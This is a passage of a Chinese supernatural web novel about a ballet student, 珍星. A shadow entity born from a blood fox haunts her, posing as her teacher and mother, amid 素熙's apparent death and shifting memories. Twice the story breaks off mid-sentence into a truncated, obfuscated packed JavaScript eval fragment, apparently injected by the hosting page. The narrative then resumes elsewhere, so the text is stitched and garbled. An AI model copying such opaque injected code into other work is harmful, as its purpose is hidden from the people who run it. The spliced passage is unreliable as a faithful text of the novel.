“没……没有。” 年轻人愣愣地答。 可在这群人离开后，他来到了父亲的书房，找到那幅画，看见了九条尾巴的狐狸。 在这一天之后，村子里开始冒出那个疯女人阴魂不散要报复全村人的传闻。 年轻人知道，这也许是真的。 狐狸修成九条尾巴是极难的事情，但并不是没有快捷的办法。 画像上血红的尾巴就是证明。 年轻人看见了不属于这幅画的提字那是父亲的留言，已故的村长并没有写出真相。 但他很刻骨地写下这句忠告。 【不要向血狐许愿。】 【九条尾巴代表九条命。】 后面的字迹变得混乱模糊，想来就是在那个时候村长遇害了。 可根据口供可知，那个时间点，村长没有死。 甚至还兴致高涨地去买了一只鸡回家。 可是凶手如果是那个不知真假的狐狸，为什么会专门留下这两句话。 暴露自己的信息有什么好处？ 年轻人始终想不通这一点。 但他知道，从某一天开始，扇子上的尾巴褪去了，重新变回一开始的样子。 这代表着，血狐的报复结束了。 “我要知道真相。”可年轻人心中始终不知道这一切的源头从何开始。 于两年后，他回到了村子里成为了村子里新的医生，也许他真的窥到了天机。 所以他变得白发苍苍，老得不像话。 村人问他是谁时，他便说自己是个中医。 他开始耐心地在村子里等待，静静看着每一个人。 而和他同时出现的，是老师。 老师从来没有生过病，也就和老中医算不上熟悉。 但谁能想到，后来老师吊死在树上时，大家虽不至于大哭一场，却也对她感到惋惜。 小珍星更是因此陷入了很长一段时间的梦魇，经常被各种怪事缠身。 而这个对老师最不熟的医生却在那一天轻轻拍着珍星的肩膀，冷冷说。 “活该。” 而在珍星扭头对他愤恨之前，妈妈出现抱走了自己的女儿。 “珍胜……” 妈妈爱怜地摸着珍星的头。 医生和她撞上眼神，他自以为什么都知道，于是说：“这孩子之后估计会遇到些麻烦，如果生病总是好不起来，或许我能帮上忙。” 珍星母亲点点头但并未说什么。 老中医转身离开，并没有要求对方立刻相信他的话。 但他知道，对方一定会来找自己。 失去了老师之后，珍胜对妈妈的依赖达到前所未有的高度，就算知道自己的母亲会有很不正常的表现也会黏着她。 而她的母亲也在这段时间表现得很正常。 可当夜晚降临时，珍胜总是会做梦。 老师的脸隐藏在黑暗中，哀怨地问她：“你要忘记我了吗？” “不可以忘记我呀珍胜。” “明明，我才是为你而生的。” “不要忘记我……珍胜……” 醒来的珍胜脸色一天比一天差。 老中医主动登门。 “这孩子被冤鬼缠上了。” “为、为什么会这样呢？” 妇人捂住嘴巴似乎很惊讶，很快就变成伤心，绝望之际她抬头将救命稻草放在了对面的老中医身上。 老中医并没有直接说出解决办法。 反而悠闲地同对方聊起来。 “您听过九尾狐的故事吗？” 老中医，也就是村长的儿子，在离家两年后，在东方拜了个师父。 他的师傅虽然没有来到这里，却一言给出了他父亲死亡的真相。 “九尾狐的形成，按常理而言是善因的积累，可如果抱着极大的痛苦死去，死刻的执念会自动吸收这世上的恶气助长修为。” “这会变成恶仙血狐。” “血狐？师傅，我父亲生前留下的遗言里的确写了它是血狐。” 年轻人讲出那两句话希望得到解答。 “不要向血狐许愿，九条尾巴九条人命是什么意思呢？” “狐仙成仙自然会有香火，凡人供奉神仙祈愿，狐仙回应这是天理。” “但血狐作为恶仙注定得不到供奉，所以它一定会想方设法去让人对自己许愿，而它之所以得到不到正常的香火，是因为向它许愿的代价一定会见血。” 真相便是如此了，村长害死了狐狸。 但他显然并不知道炼出血狐的后果。 “你父亲应该是遭人蒙骗了。” 如果知道要用死的代价才能为自己的儿子换来一个面试的机会，他真的愿意吗？ 这很难说。 “血狐害死了我父亲，我想为他报仇。” “师傅，有没有什么办法能让它消失。” “血狐没有固定的身体，你刚刚说的九条人命我虽然没看到过记载，但我推测应该是血狐为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而在珍星家里哄好孩子睡着的珍星母亲回到了自己的房间。 瞬间，屋子里陷入黑暗。 “你为什么要这么做？” “你明明说了只要我死，我就能永远待在她身边，你现在听了那家伙的话改掉珍胜的名字，我没有办法再靠近她了。” 是老师在喋喋不休地抱怨。 “你为什么要这么做。” “你骗了我。” “珍胜需要我……” “她需要我……” 在珍星面前温柔的母亲现在却冷着脸，勾出一个冷笑，云淡风轻地叫恶鬼闭嘴。 “她需要的是妈妈。” “至于你，只是一条尾巴。” 如果老中医能听见这句话，一定会愕然，当年他师傅说的猜测竟是错的。 血狐，或者说这位尚未成型就枉死的预备狐仙，远比他们想象的要可怕又强大。 “从现在起没有什么狐狸，疯子，老师……” 那在一瞬间化成了黑影，那是未成形的狐狸。 从某种程度上来说，她也能算做怨婴。 “只有我。” 可没关系，她已经有了自己的启明星。 人类在看见第一颗星星时成为了人类，这道理放在她身上同样适用。 老师的尖叫声震碎了房间里的很多东西。 “我不是，我不是你。” “我是珍胜的老师。” 她原本只是黑影的分身，接近珍星是黑影交给她的任务。 主人让她找机会让小孩子向自己许愿。 什么愿都可以。 只要许愿了，她就会杀掉珍星。 可偏偏老师让珍星许下的愿望是永远在一起。 “你怎么配，得到她的永远。” 黑影笑眯眯地看着崩溃的分身，她漫不经心地想。 你可以背叛我，也可以生出自己的意识，你想要成为独立的个体，这些我都不在乎。 “你怎么敢，祈望和我的孩子永远在一起呢。” 许下那个愿望是老师必须死的原因。 而说出这句话，是黑影给自己这个野心勃勃的分身最后的判词。 也许是察觉到自己即将消失，老师反而大胆起来，她嗤笑着问对方。 “你真的，把她当做你的孩子吗？” “呵。你说过，我只不过是你的分身。” “可我为什么会有这种情感呢？” 抓住黑影愣神的空当，老师逃走了。 而黑影低下头迷茫起来。 但很快她就恢复过来，她没有去解决逃走的老师，只是自言自语说着。 “真想拥有一个真正的身体，我该去听谁的愿望呢？” “啊，找到了。” “你向我许愿了对不对，那你告诉我，我现在实现了你的愿望没有呢？” “珍星……” 漫长的故事终于画下终止符。 在那个夜晚，珍星许下了死亡的心愿，虽然迟迟无法实现，但现在，也许就是时候了。 黑影抱着痛苦的珍星，轻柔地问她。 “你会帮助我拥有一具新身体的对吧。” 这句话的另一个意思也很简单。 “你现在想死了吗？” 一开始这样问珍星，她的回答必然是不会。 可现在，黑影让她亲历这些事情。 心心念念的老师是黑影的一个部分。 抚养自己长大的母亲竟然也是黑影。 更重要的是，黑影的死也跟她们家有关系。 珍星感到混乱。 恨还是爱，感激还是埋怨，她找不到自己的身份。 “你现在，想要兑现愿望了吗？” 黑影的声音再次响起。 毒蛇张开了自己的血盆大口，没有猎物能逃掉。 不，不该说得这样残忍。 明明只是死掉的青虫渴望化茧成蝶。 她的蝴蝶日永远停留在起飞前，这实在太可惜了，所以成为她的执念，也无可厚非，对吧。 43. 死亡礼物 【在那个时间到达之前，尽力享受我留给你的礼物吧，珍星。】 公交车在清晨时分重新回到了医院，车上仅剩的活人呆滞地下车。 脚步虚浮，脸色苍白。 “礼物吗？” 珍星蹒跚着走向医院大门，她现在要去看惠珠。 可整个人却不由自主地停下，她在对着地面上尚未清洗干净的血迹愣神。 这实在太像黑影让她进入的某一个幻象里，地面上除了陈涸的血痕还留下一串水痕。 种种迹象表明，下了一场大雨。 如果说那混乱又陈旧的过往让珍星困扰又痛苦，那么当下，她只想去想一点轻松事情。 她将思念素熙当成了转移注意力的方法。 “素熙......” 素熙的笑容，素熙的声音，素熙脖子上的一颗小黑痣。 不知不觉又化成了那个幻象，在雨水中奄奄一息叫着自己名字的素熙。 “不、不要。” 珍星鼓足精神，她为自己打着气，先做好眼下的事情吧。 去看看惠珠的情况。 昨夜，或者说不知道第几个夜里，黑影放过了她。 黑影虽然恐吓说要杀了她，可当珍星哭着说不想死的时候，凭空出现一道鸡鸣。 那是白昼的预示，黑影的动作开始迟缓起来。 她最后一次切换面孔，变成了素熙的模样。 不甘心地对珍星说：“我还会回来的。” “你会回到我身边的，珍星。” 黑影消失了，那就代表，惠珠一定不会有事了。 可当珍星上楼之后，却不被允许去看望惠珠，理由不详。 于是珍星只能乘坐公交车回到学校，充斥着疲惫感的珍星不知不觉睡去。 丝毫没有察觉夏日早起的阳光透过玻璃窗发散进来的刺眼的光芒。 当然，在她醒之后就能发现，之所以能在车上沉沉地睡上一觉不仅仅是因为自己太困。 还是因为，邻座的好心人脱下了自己的制服外套，轻轻地搭在自己头上。 “早上好？” “你......” 珍星醒过来的第一瞬间并没有看见她，只能闻到制服上一点点柠檬香。 不是刺鼻的味道，而是果实般的酸涩，还有特色的香气。 这让她的状态好了不少，不过，掀开衣服之后，眼前从迷糊到清晰的身影让她的心情又陷落回去。 你怎么在这里？珍星原本打算这样问。 但对方似乎听见自己的心声，心情愉快地先一步解释。 “我家就住在附近，因为妈妈以前一直在医院，近一点才能方便去照顾她。” “学姐呢？一晚上没回去吗？” “不关你的事。” 珍星冷冰冰地回答，拒绝和她有更多的交流。 但没想到，她还是朝自己靠过来。 神经依旧敏感的珍星，发出尖锐的声音。 “你要做什么，朴英妍！” 她的呵斥成功让对方活泼一点的表情变得不知所措。 直到变回寻常那副脆弱无辜的表情，而她并没有想做什么出格的事情。 她的手捏住外套的一角，从珍星头上轻轻抽回自己的衣服。 无声的一切让珍星意识到自己的过激。 “对、对不起。” 这次轮到英妍抿着嘴露出不怎么高兴的表情了。 与此同时，珍星也听到了她的心声。 “不理就不理，我不说话就就是了。” “多出来的早餐等下也不请你吃了，饿晕你！” 颇具孩子特色的抱怨反而让珍星的心情回转一些。 “对不起，这一遍是真心的。” 珍星提了提嘴角，试图露出一点好脸色，虽然从客观上看，那笑容很是僵硬。 好在，英妍接收到了。 她并没有一开始的热情，恢复了平时的样子，露出一点腼腆。 随着珍星的话，她也主动开口。 “我也很对不起。那个学姐的事情，我真的不是故意的。” 两个在首发站前后上来有幸坐上空位，而工作日的清晨公交车上逐渐挤满了人。 在这种喧哗中，反而最适合她们之间吐露一点心声。 “其实......我会觉得抱歉，也会觉得内疚。” “可是无论如何，我必须把自己放在首位。” “无论如何。” 英妍看似并没有说什么特别的，但珍星能听懂她的意思。 她在解释她在道歉，她在说自己并不是完全扭曲的疯子，她也有正常的道德三观。 只不过，这些比起她自己而言，都是可以被颠覆的。 “但学姐，我也只是一年级的学生，虽然已经不能再用小孩子做理由推脱什么。” “可是偶尔，能不能稍微对我有信心些呢？” 珍星对上她的眼睛，那是一种自然而然的依赖。 可自己并不知道，为什么会是自己。 她对英妍做过什么令人印象深刻的事情吗？ 因此，珍星并没有直接回答她的问题，而是直白又出于本心地提问。 “如果你真的认为你自己比较重要，为什么要在乎我的想法。” “还是说，你只是想听我说你很好，那如果我的答案是相反的，你是不是会在心里讨厌我呢?” 英妍可怜的表情顿时一滞，但这次她并没有给出一个委屈的回答。 她平静下来。 她说：“我不知道。” 珍星答：“所以，你自己说就可以了。” “什么？”英妍歪着头，不知道话题为何突然变成谜语。 “你自己对自己说，朴英妍你很好。这就够了，这才符合‘最重要的是你自己’。” 可这样的话听起来总是很奇怪。 并不会真的令人豁然开朗，反而会让人去想。 你是在逃避吗？ 为什么你连一句好话都不愿意对我说？ 是因为我很差劲吗？ 可我明明...... 英妍翻来覆去翻滚的心声突然止住。 珍星拿出口袋里的糖果，她原本并没有很喜欢吃，可是最近素熙很喜欢吃甜的东西。 她就买了很多，但不允许素熙吃太多，而素熙只会听她的。 “我不会对你说那种话的。” “不过，如果你也喜欢，吃颗糖怎么样？” 英妍的豁然开朗的确是她自己想出来的。 可我明明，很好。 但是珍星偏偏在她豁然开朗的这一瞬间，拿出那颗糖。 仿佛是一个奖励，刚好出现在英妍需要的时刻。 公交车到站了，珍星用眼神示意她。 英妍让开位置，却并没有下去，只是看着珍星离开的背影。 “也许，你并不是刚好。” 英妍默默说。 只是因为，我想让你成为这个恰好的人。 我只是想要为我需要你，找到一个顺理成章的理由。 因为，最重要的人是我自己。 英妍从车上走下去，含着珍星递来的糖果。 如此恰好，是颗柠檬糖。 让她心里那棵柠檬树也跟着发芽抽条。 来到教室时间不算早，但也足够她慢悠悠走到茶水角去接满一整瓶热水。 然后回到教室里和同桌有一搭没一搭的闲聊，没什么新鲜事。 但英妍的心还挺高兴，不过是因为什么，这也许是个秘密。 就这样普普通通地度过两节课。 到了大课间时间，英妍想起来自己没送出去的早餐，犹豫了一瞬。 “如果到中午，会浪费吧。” 默念着一个没头没尾的理由，她提起纸袋子站起来。 很奇怪，尽管在下决心之前总是能找到各种烦恼的理由。 可真的决定了之后，反而变得通畅起来。 英妍甚至哼出了一点小曲，带着轻快甜蜜性质的曲调还没出教室门就被迫中止。 原来是第一时间冲出去“社交”的同桌回来了。 她似乎有什么事情要分享，正在挑选合适的人，看见英妍之后两眼放光。 张口刚要说，又考虑到什么，停了一秒才拉住英妍。 “诶英妍，还记得你上次跟我说的那个宋珍星吗？” “珍星学姐？” 英妍欲出的脚步止住，她跟着同桌回到座位上。 “发生什么了？” “你还记得我上次跟你提起的素熙学姐吗？” “就是芭蕾舞系三年级的完美天才......” 英妍的脑子里冒出素熙的脸，虽然能对应上号，但听见同桌这样说，她知道事情应该跟珍星没什么关系。 表情没有方才积极，前倾的身体陡然收回。 “啊、哦，这个......” 正想站起来离开，继续去送早餐，英妍又被同桌接下来的话惊得将手中的早餐袋子也掉在地上。 “她，死了。” “什么？” 英妍的问题还没问完，同桌又继续补充起来。 “我听她们班上的同学告诉我第一手信息。” “据说是学姐前段时间摔断的腿，昨天又受了大伤，医院诊断很严重，据说是再也没办法跳舞了。” 英妍后知后觉地问。 “所以，学姐就想不开了吗？” 哪知同桌摇了摇头。 她凑得更近，悄悄地开口。 “我听说，是因为那个宋珍星为了抢走素熙学姐的留学名额，故意在最近的比赛里陷害她，才让她的腿伤加重了。” “而且，宋珍星还去医院找了素熙学姐，她是最后一个见到学姐的人。” “说不定啊，害死学姐的人就是她。” 英妍听完之后，一改常态地肯定回答“不可能。” “这不可能。” 和她一样不可置信的还有珍星。 她手里拿着一张空白表格。 金老师难得露出和蔼的笑容对她说。 “俄罗斯皇家舞蹈学院的推荐名额已经确定是你了。” “今天之内把这份表格填好交过来，明白吗？” 珍星呢喃着，不明白这些事情怎么会突然发生。 她根本无法高兴，也无法思考。 “金老师，这不可能......” 珍星下意识抬起头，却看见金老师自己也露出堂皇的表情。 “你怎么了？是因为听到这个消息太高兴了吗？” “好了，你本来也很优秀。” “可是素熙......”她的话还没说完，金老师已经先一步站起来，将她推出办公室大门。 门外一群偷听的女生看见珍星的出现，哄作一团散开。 但每个人强装无事的表情间都能隐约看出对珍星的蔑视。 “素熙学姐怎么会，突然就死掉了。” 英妍也无法相信，而且她注意到更多与同桌透露出来的消息不同的地方。 “最近，根本没有比赛，明明只有我和珍星学 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还有一部分人似乎是学校派来的，他们手里拿着从各个地方取下的关于素熙的一切。 “为什么会这样？” 巨大的不解笼罩在英妍身上，但她并没有花太多时间去思考这些，她跑出去。 第一次跑向了她烂熟于心但从没去过的那栋楼，跑到了那个班级门口。 此时所有人都不在，除了，趴在桌上的珍星。 “学姐......”英妍走了过去。 “你还好吗？” 珍星也没了公交车上的忽冷忽热，她看见英妍，仿佛抓住救命稻草。 “英妍，你可不可以告诉我，不是这样的。” “素熙明明没有死去。” “昨天，昨天......” 珍星想说昨天明明还很好，她和素熙，她和素熙...... 可是那列幽灵车，被黑影折磨的时间里，她经历了太多。 这让珍星自己也不太相信自己的记忆了。 而且素熙的死亡，的确在黑影给她看过的画面里出现过。 那时珍星还在庆幸这只是黑影的幻想，可现在，为什么成为了现实。 【好好享受我送给你的礼物。】 脑子里蓦地冒出这句话，黑影将她从公交车上推下去的最后一句话。 享受黑影的礼物都需要支付代价。 无论你想不想要，你也需要支付，而你当然不可以说不想。 因为这份礼物，珍星手中那张表格，那个入学资格，的确是她曾经向往的东西。 甚至可以这样说，在素熙没有出现之前，她本来就是这样打算的。 她要挣得这个资格。 “我没有害素熙，我怎么会害她。” “我怎么会......” 珍星又想起那幻想中，她所见到的那个自己。 那是她吗？ 那也许，是她吗？ “不是。” 在这个时候，抓住她的手给出肯定回答的人，是英妍。 “学姐，这一切有古怪。” “我记得的。” 英妍还记得昨天的一切，也记得这段时间发生的一切。 尽管不愿承认，可她从第一眼就能看出，珍星和素熙之间的亲近。 “可是，现在是怎么回事呢？” 珍星不知该向谁所求答案，只能问英妍。 而英妍刚张嘴，预备铃就打响。 “学姐，下课我再来找你好吗？” 珍星点头了。 现在，英妍也许是她唯一的同盟了。 因为这点微薄的希望，珍星忍受了课堂上同学们的冷嘲热讽。 课下英妍却没有出现。 珍星想了一些理由，可她还是决定在放学后去找英妍。 狼狈的是，这个时候珍星才想起来，她根本不知道英妍的班级。 于是她又跑到学校门口去等人。 在等了不知多久后，英妍背着书包出现了。 “英妍......” 珍星有些激动，她的心情已经到达了一种高涨的极端。 但下一秒，英妍给她泼了一盆冷水。 “你是？” “我们认识吗？” 英妍微微点头，错身走开。 珍星站在原地，只觉晕眩，从身到心的疲惫。 “也许，我根本就没有走下来。” 珍星自嘲着。 冷不防间耳边出现一道声音。 “你被鬼盯上了。” 表情阴郁的少女冷冷开口，距离并不近。 这让人以为并不是在对自己说话。 珍星也是这样想。 直到那个仿佛从雪山里走出来的少女叹了一口气，主动融化了身上的霜雪向珍星走进一些。 她说：“我看见了。” 珍星没觉得害怕，反而带着一些渴望问。 “能告诉我她的样子吗？” “你不怕鬼？”少女话说得很简短，似乎是怕惹祸上身。 但她也没想到会遇见珍星这种略带狂热的人。 心中在想难不成对方是个灵异爱好者的时候，珍星走过来。 弯下腰郑重地请求。 “请告诉我，这对我很重要。” “真的很重要......”珍星呢喃着，她需要一个回答。 一个能在当下给她点喘息的回答。 44. 相片 “抱歉。” “我看不见了。” 少女似乎被珍星这样大的阵势吓到了，当她点头聚精会神地再朝珍星身边看去。 却什么也看不见了。 她想，这本该是件好事情，不管怎么说，也没人会希望自己身边跟着一只鬼吧。 可这样说出口之后，却见对面的珍星面如死灰。 她的笑此时只不过是粘在饭碗上的米粒，只是习惯性黏上去，而非真心。 “这、这样吗。” 珍星很快整理好自己的心情，意识到谁也帮不了她之后。 她对面前的黑发少女点点头，主动结束了谈话。 “不好意思，刚才给你带去困扰了吧。” 珍星转身离开，回到学校，只是没走几步，她仿佛听见了一声叹息。 “等下，请等一下。” 那名拥有白日见鬼能力的少女追过来。 “我看见了，我又看见了。” “她在说话。” “说什么了？” 情绪仿若过山车，上下翻涌，反而让人的身体呈现宕机状态。 珍星于是下意识作出冷脸表情。 这让原本要传递话语的少女愣了一下，意识到自己的原因，珍星又不得不缓和表情主动解释。 “抱歉，我不是要凶你，我只是在放松。” 那少女摇摇头，她在意的不是这个。 “那个鬼，她说，别来找我，也不要相信我。” “刚刚我愣住不是因为你的表情，是那个鬼，她看见了之后以为你不开心。” 少女向她走进一步，在她那只通晓人鬼之界眼珠里倒映着一人一鬼。 她说，如她说：“对不起珍星，不要讨厌我好吗？” 珍星为此触动，她仿佛看见了那鬼的影子，可当口中的名字即将涌出来时，那少女又恢复了冷酷的神色。 置身事外般询问：“珍星？是你的名字吗？” “内。有什么问题吗？” 也许珍星本该在孤苦无依的境地中陷入疯狂，所以她才会在这一天内踏入希望和绝望的双重境地，仿佛那句经典的上帝之语——欲使人亡，先使其狂。 疯狂，是喜，亦是悲。 “没有，只是觉得很熟悉。” “而且，名字有时候会是鬼缠身的执念。” “知道了你的名字，就会永远缠着你不放，这就是鬼的初心。” “那你叫什么名字？” 少女的喋喋不休被珍胜蓦地出声打破，这问题来得太突然也不能说与之无关。 于是她的嘴缓慢变形，眼睛除了刚刚替鬼传话时正视珍星，一直都朝着别的方向看。 随着珍星这个问题，她才转眼。 “草雅。我叫草雅。” “你现在还能看见我身边的鬼吗？” 草雅摇头，似乎意识到，摇头就代表着接下来她和对面这个人的关系即将切断。 但她依旧会这么说，因为草雅早就习惯了不被记得的日子。 她是一个透明人，没人会在第二天还能记住她。 这也是她为什么放心于偶尔做点看不见的“好事”。 “你现在还能其他的鬼吗？” 草雅转转头，很快就看见了班级音乐老师身边紧跟着出校门的少女鬼。 毫不意外地看着对方又一次被挡住，用依恋和不舍的眼神送别对方。 而那位老师，停顿了几秒之后终究没忍心，于是伸出手佯装是对学校里的某个人在挥手告别。 只那一秒，只因为这样一个简单的动作，那个少女鬼就在原地又蹦又跳开心不已。 “可以。” 草雅一直都知道鬼并不是完全可怕的生物。 “那我可以继续来找你吗？” “你？” 珍星并没有如她预料中那样提出分别的语句，反而这样说。 “也许她一直在我身边，只是因为一些原因你无法一直看见她。” 珍星没有依据地说，却莫名笃定。 “为什么？” 草雅不明白珍星为什么会这样想，是因为自己没有对她说清楚自己的特殊性吗？ 她可以看见所有的鬼。 当然，这并不是什么优点。但她不可能出错。 珍星深呼吸一口气，给出了答案：“因为，她并没有死。” 如果草雅看见的鬼就是素熙的样子，也许素熙并没有死。 珍星想，素熙一定还活着，她们会永远在一起。 这是许诺过的愿望。 “随便你。”草雅随意点点头对她的猜测并没有多相信。 甚至也并不在意珍星嘴里那句“继续找你”，没人会记得她的。 这是成为阴阳眼的代价，六亲不近，生死一线，无人问津。 越少人靠近她，她才能活得越久。 “你在哪个班级？” 珍星没忘了问，也不禁想起刚才和她错过的英妍。 是因为她没能及时找到英妍，所以连她也失去了那段记忆吗？ 这个世界有古怪。 大家的记忆都有古怪。 “一年a班。”草雅草草给出回答，转身离开。 这一次，谁也不会再转头。 珍星回到宿舍大楼，但在经过台阶时，脑子里无端端地多出一段记忆。 “一、二、三......二十八、二十九。” “狐狸啊狐狸，如果你能听见我的愿望，请你让我成为第一名。让我赢素熙一次。” 那是一个不怎么明朗的日，那是不怎么明媚的天，少女急切又诚恳地许下愿望。 她眼里全是野心，她的渴望全在一件事上，至于心中的人，忽略不计了。 这段记忆让珍星一个踉跄摔倒在最顶上的台阶。 正是因为这一摔，她才发现所谓的多出来的第二十九级台阶其实一直存在。 它只是一道较矮的台阶，甚至不能称作为台阶，只不过是一道小坎由于日积月累风沙和原本修建的石头崎岖不平而形成。 “假的。是假的。”珍星喃喃自语。 看似在说台阶是假的，实则在说狐狸传说是假的。 这段记忆也一定是假的。 很快她回到了寝室大楼，但在一楼就被管理员叫住。 “你收拾一下自己的房间，晚休前搬走，换寝室。” “为什么要换寝室？”珍星蹙着眉不理解这突如其来的换寝是为什么。 “有什么好问的，学校来的命令，让你们搬就搬。” 管理员显得很不耐烦，没多说几句就挥着手赶珍星上楼。 珍星收拾着自己的房间，整理着自己东西，其实并没有太多。 收拾桌面时，她发现了一张相片。 “素熙......”相片上是她和素熙。 可珍星并没有这张照片对应的事件记忆，正当她想着，整个人又不受控制地晕眩起来。 倒在床上，记忆出现了。 床上有人在开心地蹦蹦跳跳，那是珍星和素熙。 身穿洁白睡裙的两位少女手牵着手因为这样简单的动作而开心。 笑累了之后，素熙主动停下，扶着珍星来到自己身前。 “我来帮你做造型吧。” 素熙笑眯眯地勾起珍星的头发，很快一个复古的羊毛卷就出现了。 “好看吧？我可是经常做发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但她闷闷不乐起来，当素熙又一次拿起相机，即将提出邀请前，珍星又继续说起来。 “那素熙还记得你为了当练习生差点和我断绝关系这件事吗？” 时隔数月，珍星终于能诚恳地提起这次事件。 从她的话里，也终于能直白地感受到珍星的在意。 也正是因为这样极端的描述，让素熙放下来相机。 她很惊讶，但更好奇。 “什、什么？我会，我会这样对珍星你吗？” “不可能吧，我......”素熙的激动陡然间平复下去。 “珍星能告诉我吗？” 可在她产生了好奇的时候，珍星却捡起了床边的相机。 她说：“已经不重要了，只要我和素熙现在能好好的，这对我而言就是最好的了。” 珍星举起相机，做了这个素熙一直想做的事情。 尽管并不确定自己想说的话能否被素熙听见，可她还是选择说出来。 “说多少遍都可以，说多少遍都愿意，我不想和素熙分开，从那个时候我就意识到了。” 在那个夜晚，珍星在车流不息的路上将素熙救回来，真切地体验到生死带来的恐惧时，她就已经无法做到忍受素熙的离去。 不可以死掉。 不要离开我，素熙。 快门按下，一张照片缓慢地滑出来。 静置一会儿，就能看见相片上的两个人，珍星却已经闭上了眼睛。 她没能看见身后的素熙沉默又阴郁盯着自己的表情，而在最后，那表情变成了一种迷茫。 再睁开眼睛，床上只有珍星自己而已。 45. 灰烬 那台破烂得不像话的收音机发出跌跌撞撞之人的心声，呼嗬呼嗬—— 【每一个人都渴望被接纳，被记住，都渴望爱。】 【永远、永远——永远不要忘记我——我的朋友，】 【还是说，你已经背叛了誓言呢？】 地下室里的破旧收音机和突然出现的风交织在一起，鬼魅无常，头顶那盏昏暗的灯也终于停工，在一瞬间陷入黑暗。 伸手不见五指之中，她出现了。 或者应该这样说。 “我回来了。” 扑哧——是镜子碎裂的声音。 收音机顷刻间风化成灰，被那股无名而起的风从未唯一的出口带走，一直飘扬，最后变成落在枝头的一只乌鸦。 乌鸦的眼睛直直盯着一扇窗。 厕所里的灯突然间熄灭，在这里哭泣的少女顾不得心中的伤心，被毛骨悚然的冷意席卷全身。 下一秒，镜子突然碎裂，坠落在地面的镜子碎片上不断出现黑色的影子。 从一开始的影子，再到逐渐清晰的人影。 最后是，直逼眼前的身影。 她有些惊恐地捂住嘴巴，呜咽出一个人名。 “素熙......” 灯光发出床边小台灯一样的亮度，薄纱般透明的灯色下，那翩翩起舞的，是谁呢？ “素熙你，回来了。” 一个旋身，像是八音盒上永远不会出错的芭蕾舞女，旋转再不停旋转。 随着一声清脆如银铃的笑声。 “惠珠......”那个已经被宣告死亡的人，将手轻轻搭在她背上。 言笑晏晏，身姿优雅。 “惠珠——” “你还好吗？” 再一个眨眼，眼前的，是一条走廊，陈旧的煤油灯挂在廊壁两侧。 黑发的惠珠跌坐在地上。 身前撒开了自己收拾的东西，药片、娃娃、画幅，属于她的一切。 她预想对方会帮自己捡东西，任何一个人都会这样做。 却很奇怪，为什么她会对自己说这么多话。 “好一些了吗？” “我这段日子也很担心你。” “惠珠，惠珠......” 一声又一声，一遍又一遍，让惠珠自己产生一种错乱感。 能得到这种关心的人，是自己吗？ 你口中的那个人真的是我吗？ 最终她抬起头，依旧怯生生地望过去。 小声地叫住了那个人。 “珍星——” “我在。” 珍星一边收拾着东西，一边关心着许久没见到的惠珠。 当然，这个“许久”并不是真实的时间。 但恍如隔世的意思，的确真实。 几句话下来，珍星意识到眼前这个惠珠大概和在相片里见到的素熙一样。 都不是她真实相处的人。 又或者说，她们真实相处的珍星并不是自己。 “好了，我收拾好了。惠珠也快点回去吧。” 珍星主动切断了话题，微微一笑，端着自己的箱子离开。 一开始的迷惘困惑已经逐渐消失，只要意识到她现在所处的并不是真实的世界，她的心情就已经平静下来。 这说明，无论现在的情况有多糟糕都是假的，包括素熙的死亡。 不过，她现在究竟要做什么才能回去，或者说，黑影想让她做什么呢？ 不论怎样说，黑影不会在此刻就夺走她的性命。 珍星一边在新房间收拾着自己的东西，一边思考。 【在那个时间到来之前】 这是黑影将她推下公交车的最后一句话中的信息。 也就是说，珍星要在这里待到某个时间点，或者说某一个高潮。 自然而然就用起了学习芭蕾戏剧的思维去思考。 如果她是一幕剧的角色，她现在处在什么剧情里，她又扮演着谁？ 至少应该是她所了解或者印象深刻的，毕竟黑影不是精挑细选中了自己吗？ 一年又一年地陪伴，一个又一个分身，某种程度上说，黑影应当是最了解自己的人。 于是，自然而然地答案就出现了——《吉赛尔》阿尔贝特。 死亡的素熙自然是贯穿全剧的吉赛尔，而她这个同学间传来传去的最大嫌疑人，自然是那个负心汉了。 在一瞬间，珍星就已经为今天遇见的所有印象较深的人分配好了角色。 甚至连黑影也想好了，憎恨负心汉的幽灵女王米尔塔。 十分适配呢，珍星为自己打满分。 依照黑影如此三番地折磨自己的手段来看，自己说不定不只是背叛吉赛尔的阿尔贝特还是背叛米尔塔的坏家伙。 也许芭蕾舞演员也是个好侦探，珍星对自己开着玩笑。 意识到自己所处的状况是孤立无援的情况后，珍星的心情并没有很紧张，反而略显放松。 不管怎么说，现在打起精神是最重要的事情了。 想得大脑有些紧绷之时，新房间的门被敲响。 珍星毫无防备地打开门，然后被“不明生物”狠狠撞击了肚子。 当然，她知道对方并非故意，因为撞上她肚子的东西是一块柔软的枕头。 “惠珠？” “我好害怕，我房间里有奇怪的东西。” 惠珠的声音有一些神经质的尖锐，这让她说出这些害怕的话时也让听者跟着起鸡皮疙瘩。 “我可以和你一起睡吗？” 惠珠被珍星推开，虽然并不是太重的力，但总归说明了什么。 但她却像不懂眼色般继续问珍星。 “我可以和你一起睡吗？” 珍星沉默了一会儿，表情不算好。 但她没注意到的是，惠珠脸上的表情也并不失望，不仅不失望反而透着几分习以为常。 就好像，她早已预料到珍星的拒绝，并且已经经历了成百上千次。 但惠珠仍然敬业地扮演着自己的角色，手臂拢在一起紧紧抱住枕头。 依旧用求助、无辜的眼神盯着珍星。 当然，她没有忘记在时间推移的过程中将眼神压暗变成说不明的阴郁。 “奇怪的东西？” “你见到什么了？” 虽然珍星的回答有些出人预料，但好在这也是这个惠珠可以应付的。 只不过，她才微微张嘴，珍星就自己激动地握拳捶掌。 “啊，你看见鬼了对吧。” “是素熙的鬼魂吗？她回来找你了？” “为什么不先来找我呢。” 珍星三言两语间几乎将一个故事说尽，这番直白成功让惠珠也呆滞起来。 可珍星却不给她反应，伸手搭在惠珠的肩上，轻轻将她带离。 “走吧，我们去你房间看看。” “珍星......”惠珠只能小声地叫住她的名字。 然而珍星真的为此停下来看她时，惠珠又找不到话了。 